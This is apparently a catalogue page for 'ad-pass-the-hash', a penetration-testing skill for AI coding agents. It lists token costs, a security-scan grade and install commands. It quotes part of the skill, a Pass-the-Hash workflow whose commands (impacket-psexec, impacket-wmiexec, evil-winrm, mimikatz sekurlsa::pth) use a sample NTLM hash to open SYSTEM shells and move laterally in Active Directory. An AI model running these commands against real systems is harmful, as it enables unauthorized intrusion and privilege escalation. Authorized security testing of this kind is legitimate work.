ad-pass-the-hash

ad-pass-the-hash is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 56 tokens per session (1,354 once invoked), scanned A, original, MIT.

A security-testing workflow for Pass-the-Hash, a Windows technique that uses a stolen password hash to authenticate without knowing the original password. It focuses on Active Directory, the system many organizations use to manage Windows users and computers.

In plain words
What is it for?
Use it to test whether compromised NTLM hashes can be used for remote access, lateral movement, or privilege escalation in an approved Active Directory environment.
Why use it?
It explains how an attacker could move between systems or gain higher access when a password hash has already been obtained. This is intended only for authorized security assessments.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit Use it to test whether compromised NTLM hashes can be used for remote access, lateral movement, or privilege escalation in an approved Active Directory environment.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/ad-pass-the-hash

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ad-pass-the-hash

README.md
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Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/ad-pass-the-hash"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/ad-pass-the-hash/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ad-pass-the-hash

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/ad-pass-the-hash"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/ad-pass-the-hash.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 56 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,354 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00056 $0.01354
Opus 5 $0.00028 $0.00677
Sonnet 5 $0.00011 $0.00271
Haiku 4.5 $0.00006 $0.00135

Measured 10d ago against content hash 2b3d9498152f, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

ad-pass-the-hash scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/ad-pass-the-hash/SKILL.md · 127 lines

How it starts

The opening of the file, as written. The whole thing — 127 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Pass-the-Hash (PtH)

When to Use

  • When you have successfully dumped credentials (e.g., from SAM, LSASS, or NTDS.dit) and acquired the NTLM hash of a target user, but the hash resists cracking efforts.
  • To perform lateral movement to other machines where the compromised user has administrative access.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Acquiring the NTLM Hash

Hashes are typically formatted as LM_HASH:NTLM_HASH. Example: aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 (Note: Active Directory no longer stores the LM hash by default, so it's usually the blank aad3...04ee value, but the NTLM portion is what matters).

Phase 2: Execution via Impacket (Linux/Mac)

Impacket provides multiple tools that support the -hashes flag to interact with Windows protocols (SMB, WMI, RPC) via PtH.

# Concept: Gain an interactive SYSTEM shell over SMB impacket-psexec [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29

# Gain a semi-interactive shell over WMI (stealthier) impacket-wmiexec target.local/[email protected] -hashes :88e4d9fabaecf3dec18dd80905521b29

Phase 3: Execution via Evil-WinRM

If WinRM (Port 5985) is enabled on the target, Evil-WinRM provides a highly stable PowerShell session.

# evil-winrm -i 192.168.1.50 -u Administrator -H 88e4d9fabaecf3dec18dd80905521b29

Phase 4: Execution via Mimikatz (Windows)

If you are operating directly from a compromised Windows machine, you can inject the hash into memory to spawn a process under the context of the target user.

# mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:target.local /ntlm:88e4d9fabaecf3dec18dd80905521b29 /run:cmd.exe" "exit"

A new command prompt will open running as the user, allowing access to network shares and execution across the domain.

Read the full file on GitHub · 127 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 127 lines · 56 tokens per session scan A 2b3d9498152f

Subscribe to this mod's changes

ad-pass-the-hash is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 56 tokens to every session and 1,354 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

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ad-pass-the-hash

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